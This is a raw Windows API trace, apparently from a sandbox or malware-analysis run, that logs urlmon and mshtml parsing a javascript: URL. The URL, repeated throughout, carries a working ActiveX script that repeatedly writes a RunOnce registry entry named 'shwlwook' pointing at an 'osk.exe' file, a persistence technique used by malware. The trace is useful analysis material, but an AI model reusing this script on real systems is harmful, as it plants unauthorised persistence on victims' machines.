pCF=0x7376c164, rclsid=0x7287d13c, pwzProtocol="blob", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0252.239] IUnknown:AddRef (This=0x7376c164) returned 0x1 [0252.239] UrlCanonicalizeW (in: pszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pszCanonicalized=0x95df3c, pcchCanonicalized=0x95df38, dwFlags=0x10000000 | out: pszCanonicalized="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pcchCanonicalized=0x95df38) returned 0x0 [0252.240] StrCmpICW (pszStr1="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pszStr2="res://ieframe.dll/PhishSite.htm") returned -8 [0252.240] StrCmpNIW (lpStr1="javasc", lpStr2="res://", nChar=6) returned -1 [0252.240] UrlCanonicalizeW (in: pszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pszCanonicalized=0x95df3c, pcchCanonicalized=0x95df38, dwFlags=0x10000000 | out: pszCanonicalized="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pcchCanonicalized=0x95df38) returned 0x0 [0252.240] StrCmpNIW (lpStr1="javascript:o=n", lpStr2="ms-appx-web://", nChar=14) returned -1 [0252.240] StrCmpNIW (lpStr1="javasc", lpStr2="res://", nChar=6) returned -1 [0252.240] LoadLibraryExW (lpLibFileName="urlmon.dll", hFile=0x0, dwFlags=0x0) returned 0x74100000 [0252.241] GetProcAddress (hModule=0x74100000, lpProcName=0x1d7) returned 0x741845d0 [0252.241] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95ee90 | out: ppvObject=0x95ee90*=0x9f6a6c) returned 0x0 [0252.241] IUnknown:Release (This=0x9f6a6c) returned 0xa [0252.241] IUnknown:AddRef (This=0x9f6a6c) returned 0xb [0252.241] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x90) returned 0x4a53cb0 [0252.241] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.241] VirtualAlloc (lpAddress=0x49b2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49b2000 [0252.242] IUnknown:AddRef (This=0x9f6a6c) returned 0xc [0252.242] IUri:GetSchemeName (in: This=0x9f6a6c, pbstrSchemeName=0x95ee54 | out: pbstrSchemeName=0x95ee54*="javascript") returned 0x0 [0252.242] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95ede0 | out: ppvObject=0x95ede0*=0x9f6a6c) returned 0x0 [0252.242] IUnknown:Release (This=0x9f6a6c) returned 0xc [0252.242] IUnknown:AddRef (This=0x9f6a6c) returned 0xd [0252.242] IUnknown:Release (This=0x9f6a6c) returned 0xc [0252.243] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95ee40 | out: ppvObject=0x95ee40*=0x9f6a6c) returned 0x0 [0252.243] IUnknown:Release (This=0x9f6a6c) returned 0xc [0252.243] IUnknown:AddRef (This=0x9f6a6c) returned 0xd [0252.243] IUnknown:Release (This=0x9f6a6c) returned 0xc [0252.243] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xa4) returned 0x4a53d48 [0252.243] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.243] VirtualAlloc (lpAddress=0x49b4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49b4000 [0252.244] IUri:GetScheme (in: This=0x9f6a6c, pdwScheme=0x95ef0c | out: pdwScheme=0x95ef0c*=0xf) returned 0x0 [0252.244] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95eef8 | out: ppvObject=0x95eef8*=0x9f6a6c) returned 0x0 [0252.245] IUnknown:Release (This=0x9f6a6c) returned 0xc [0252.245] IUnknown:AddRef (This=0x9f6a6c) returned 0xd [0252.245] IUnknown:Release (This=0x9f6a6c) returned 0xc [0252.245] IUri:IsEqual (in: This=0x9f1a44, pUri=0x9f6a6c, pfEqual=0x95ef5c | out: pfEqual=0x95ef5c*=1) returned 0x0 [0252.245] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x12) returned 0xa0aa30 [0252.245] LoadLibraryExW (lpLibFileName="WLDP.DLL", hFile=0x0, dwFlags=0x800) returned 0x723e0000 [0252.253] GetProcAddress (hModule=0x723e0000, lpProcName="WldpGetLockdownPolicy") returned 0x723e3c20 [0252.253] WldpGetLockdownPolicy () returned 0x10000000 [0252.254] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xac) returned 0x4a53df8 [0252.254] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.254] VirtualAlloc (lpAddress=0x49b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49b6000 [0252.254] PostMessageW (hWnd=0x701f8, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0252.254] IUnknown:AddRef (This=0x9f2328) returned 0x3 [0252.254] IUnknown:AddRef (This=0x9f6a6c) returned 0xd [0252.254] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95ee84 | out: ppvObject=0x95ee84*=0x9f6a6c) returned 0x0 [0252.255] IUnknown:Release (This=0x9f6a6c) returned 0xd [0252.255] IUnknown:AddRef (This=0x9f6a6c) returned 0xe [0252.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20) returned 0xa055d8 [0252.255] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x95eb54, dwReserved=0x0 | out: ppSM=0x95eb54*=0x9fc938) returned 0x0 [0252.255] IUnknown:QueryInterface (in: This=0x9fc938, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x95eb58 | out: ppvObject=0x95eb58*=0x9fc938) returned 0x0 [0252.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x14) returned 0xa0ab10 [0252.255] IInternetSecurityManager:SetSecuritySite (This=0x9fc938, pSite=0xa0ab14) returned 0x0 [0252.255] IUnknown:AddRef (This=0xa0ab14) returned 0x2 [0252.255] IUnknown:QueryInterface (in: This=0xa0ab14, riid=0x7410a62c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95eb2c | out: ppvObject=0x95eb2c*=0xa0ab10) returned 0x0 [0252.255] IServiceProvider:QueryService (in: This=0xa0ab10, guidService=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), riid=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), ppvObject=0x9fc96c | out: ppvObject=0x9fc96c*=0x0) returned 0x80004002 [0252.255] IServiceProvider:QueryService (in: This=0xa0ab10, guidService=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x9fc968 | out: ppvObject=0x9fc968*=0xa0ab18) returned 0x0 [0252.256] IUnknown:Release (This=0xa0ab10) returned 0x3 [0252.256] IUnknown:AddRef (This=0x9fc938) returned 0x3 [0252.256] IUnknown:Release (This=0x9fc938) returned 0x2 [0252.256] IUnknown:Release (This=0x9fc938) returned 0x1 [0252.256] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ppu=0x95eb20 | out: ppu=0x95eb20) returned 0x0 [0252.256] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0x95eba4 | out: ppURI=0x95eba4*=0x9f1a44) returned 0x0 [0252.256] IUnknown:AddRef (This=0x9f1a44) returned 0x8 [0252.256] IUnknown:QueryInterface (in: This=0x9f1a44, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95eb30 | out: ppvObject=0x95eb30*=0x9f1a44) returned 0x0 [0252.256] IUnknown:Release (This=0x9f1a44) returned 0x8 [0252.256] IUnknown:AddRef (This=0x9f1a44) returned 0x9 [0252.256] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95eb48 | out: ppvObject=0x95eb48*=0x9f6a6c) returned 0x0 [0252.256] IUnknown:Release (This=0x9f6a6c) returned 0xe [0252.256] IUnknown:AddRef (This=0x9f6a6c) returned 0xf [0252.256] QueryPerformanceCounter (in: lpPerformanceCount=0x95eae0 | out: lpPerformanceCount=0x95eae0*=25555915287) returned 1 [0252.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x95eae8 | out: lpSystemTimeAsFileTime=0x95eae8*(dwLowDateTime=0xb1026a82, dwHighDateTime=0x1d4f110)) [0252.257] QueryPerformanceCounter (in: lpPerformanceCount=0x95eb40 | out: lpPerformanceCount=0x95eb40*=25555925438) returned 1 [0252.257] IUnknown:AddRef (This=0x9f6a6c) returned 0x10 [0252.257] IUnknown:AddRef (This=0x9f6a6c) returned 0x11 [0252.257] IUnknown:AddRef (This=0x9f6a6c) returned 0x12 [0252.257] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95eb2c | out: ppvObject=0x95eb2c*=0x9f6a6c) returned 0x0 [0252.257] IUnknown:Release (This=0x9f6a6c) returned 0x12 [0252.257] IUnknown:AddRef (This=0x9f6a6c) returned 0x13 [0252.257] IUri:GetScheme (in: This=0x9f6a6c, pdwScheme=0x4998d98 | out: pdwScheme=0x4998d98*=0xf) returned 0x0 [0252.257] IMoniker:IsSystemMoniker (in: This=0x9dd878, pdwMksys=0x95eb78 | out: pdwMksys=0x95eb78*=0x6) returned 0x0 [0252.257] IUri:GetSchemeName (in: This=0x9f6a6c, pbstrSchemeName=0x95eb1c | out: pbstrSchemeName=0x95eb1c*="javascript") returned 0x0 [0252.257] _wcsnicmp (_String1="javas", _String2="data", _MaxCount=0x5) returned 6 [0252.257] IUri:GetScheme (in: This=0x9f6a6c, pdwScheme=0x95eb5c | out: pdwScheme=0x95eb5c*=0xf) returned 0x0 [0252.257] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95eb08 | out: ppvObject=0x95eb08*=0x9f6a6c) returned 0x0 [0252.258] IUnknown:Release (This=0x9f6a6c) returned 0x13 [0252.258] IUnknown:AddRef (This=0x9f6a6c) returned 0x14 [0252.258] CoInternetQueryInfo (in: pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", QueryOptions=0xd, dwQueryFlags=0x0, pvBuffer=0x95eb58, cbBuffer=0x4, pcbBuffer=0x95eb50, dwReserved=0x0 | out: pvBuffer=0x95eb58*, pcbBuffer=0x95eb50*=0x4) returned 0x0 [0252.258] DllGetClassObject (in: rclsid=0x9dd6dc*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e610 | out: ppv=0x95e610*=0x7376b5fc) returned 0x0 [0252.258] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95eafc | out: ppvObject=0x95eafc*=0x7376b608) returned 0x0 [0252.258] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.258] IInternetProtocolInfo:QueryInfo (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", OueryOption=13, dwQueryFlags=0x0, pBuffer=0x95eb58, cbBuffer=0x4, pcbBuf=0x95eb50*=0x95eb68, dwReserved=0x0 | out: pBuffer=0x95eb58, pcbBuf=0x95eb50*=0x4) returned 0x0 [0252.258] CoInternetParseUrl (in: pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ParseAction=0x13, dwFlags=0x0, pszResult=0x95ca98, cchResult=0x1000, pcchResult=0x95ca94, dwReserved=0x0 | out: pszResult="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pcchResult=0x95ca94) returned 0x0 [0252.258] DllGetClassObject (in: rclsid=0x9dd6dc*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95c574 | out: ppv=0x95c574*=0x7376b5fc) returned 0x0 [0252.258] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95ca58 | out: ppvObject=0x95ca58*=0x7376b608) returned 0x0 [0252.259] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.259] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ParseAction=19, dwParseFlags=0x0, pwzResult=0x95ca98, cchResult=0x1000, pcchResult=0x95ca94, dwReserved=0x0 | out: pwzResult="neNote", pcchResult=0x95ca94*=0x4f0020) returned 0x800c0011 [0252.259] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.259] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ppu=0x95ca6c | out: ppu=0x95ca6c) returned 0x0 [0252.259] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.259] IUnknown:Release (This=0x9f6a6c) returned 0x13 [0252.259] IUri:GetScheme (in: This=0x9f6a6c, pdwScheme=0x95eb5c | out: pdwScheme=0x95eb5c*=0xf) returned 0x0 [0252.259] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95eb48 | out: ppvObject=0x95eb48*=0x9f6a6c) returned 0x0 [0252.259] IUnknown:Release (This=0x9f6a6c) returned 0x13 [0252.259] IUnknown:AddRef (This=0x9f6a6c) returned 0x14 [0252.430] GetCurrentThreadId () returned 0xe38 [0252.430] CreateBindCtx (in: reserved=0x0, ppbc=0x95eb9c | out: ppbc=0x95eb9c*=0xa06858) returned 0x0 [0252.430] IUnknown:AddRef (This=0xa06858) returned 0x2 [0252.430] IUnknown:AddRef (This=0xa06858) returned 0x3 [0252.430] IUnknown:Release (This=0xa06858) returned 0x2 [0252.430] IUnknown:Release (This=0xa06858) returned 0x1 [0252.430] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x206) returned 0xa08fa0 [0252.431] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x9c) returned 0x9ebaf8 [0252.431] IUnknown:AddRef (This=0x9fc938) returned 0x2 [0252.431] SHStrDupW (in: psz="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ppwsz=0x9ebb70 | out: ppwsz=0x9ebb70*="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x0 [0252.433] GetCurrentProcess () returned 0xffffffff [0252.433] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x95eab8 | out: TokenHandle=0x95eab8*=0x1cc) returned 1 [0252.433] LdrResolveDelayLoadedAPI () returned 0x75fc5560 [0252.433] ConvertSidToStringSidW () returned 0x1 [0252.433] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xe2) returned 0xa0b098 [0252.433] _vsnwprintf (in: _Buffer=0xa0b098, _BufferCount=0x70, _Format="%s%s", _ArgList=0x95ea90 | out: _Buffer="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Parental Controls\\Users\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 111 [0252.433] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Parental Controls\\Users\\S-1-5-21-1051304884-625712362-2192934891-1000", ulOptions=0x0, samDesired=0x101, phkResult=0x95eaac | out: phkResult=0x95eaac*=0x0) returned 0x2 [0252.433] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa0b098 | out: hHeap=0x9d0000) returned 1 [0252.433] LocalFree (hMem=0xa0b030) returned 0x0 [0252.433] LocalFree (hMem=0xa05510) returned 0x0 [0252.433] CloseHandle (hObject=0x1cc) returned 1 [0252.434] IUnknown:AddRef (This=0xa06858) returned 0x2 [0252.434] RegisterBindStatusCallback (in: pBC=0xa06858, pBSCb=0x9ebb78, ppBSCBPrev=0x0, dwReserved=0x0 | out: ppBSCBPrev=0x0) returned 0x0 [0252.434] IUnknown:AddRef (This=0x9ebb78) returned 0x3 [0252.434] IUnknown:QueryInterface (in: This=0x9ebb78, riid=0x7410a62c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95ead8 | out: ppvObject=0x95ead8*=0x9ebb38) returned 0x0 [0252.434] IMoniker:RemoteBindToStorage (in: This=0x9dd878, pbc=0xa06858, pmkToLeft=0x0, riid=0x728c2b84, ppvObj=0x95eb40 | out: ppvObj=0x95eb40*=0x0) returned 0x401e8 [0252.435] DllGetClassObject (in: rclsid=0x9dd6dc*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e260 | out: ppv=0x95e260*=0x7376b5fc) returned 0x0 [0252.435] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95e72c | out: ppvObject=0x95e72c*=0x7376b608) returned 0x0 [0252.435] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.435] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ParseAction=1, dwParseFlags=0x10000, pwzResult=0xa0b030, cchResult=0x824, pcchResult=0x95ea44, dwReserved=0x0 | out: pwzResult="", pcchResult=0x95ea44*=0x0) returned 0x800c0011 [0252.435] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.435] IUnknown:QueryInterface (in: This=0x9ebb78, riid=0x7410a078*(Data1=0xaaa74ef9, Data2=0x8ee7, Data3=0x4659, Data4=([0]=0x88, [1]=0xd9, [2]=0xf8, [3]=0xc5, [4]=0x4, [5]=0xda, [6]=0x73, [7]=0xcc)), ppvObject=0x95e9d8 | out: ppvObject=0x95e9d8*=0x9ebb78) returned 0x0 [0252.435] IBindStatusCallbackEx:RemoteGetBindInfoEx (in: This=0x9ebb78, grfBINDF=0xa0b090, pbindinfo=0xa0b14c, pstgmed=0xa0b094, grfBINDF2=0xa0b098, pdwReserved=0x7414d760 | out: grfBINDF=0xa0b090*=0x483, pbindinfo=0xa0b14c, pstgmed=0xa0b094, grfBINDF2=0xa0b098*=0x0, pdwReserved=0x7414d760*=0x8b55ff8b) returned 0x0 [0252.436] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x95e508, dwReserved=0x0 | out: ppSM=0x95e508*=0xa0b1d0) returned 0x0 [0252.436] IUnknown:QueryInterface (in: This=0xa0b1d0, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x95e510 | out: ppvObject=0x95e510*=0xa0b1d0) returned 0x0 [0252.436] IUnknown:Release (This=0xa0b1d0) returned 0x1 [0252.436] IUnknown:Release (This=0xa0b1d0) returned 0x0 [0252.436] IUnknown:Release (This=0x9ebb78) returned 0x4 [0252.436] IUnknown:QueryInterface (in: This=0x9ebb78, riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95e9cc | out: ppvObject=0x95e9cc*=0x0) returned 0x80004002 [0252.437] IServiceProvider:QueryService (in: This=0x9ebb38, guidService=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95e9cc | out: ppvObject=0x95e9cc*=0x0) returned 0x80004002 [0252.437] DllGetClassObject (in: rclsid=0x9dd6dc*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e914 | out: ppv=0x95e914*=0x7376b5fc) returned 0x0 [0252.437] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.439] IUnknown:QueryInterface (in: This=0x9ebb78, riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95e8bc | out: 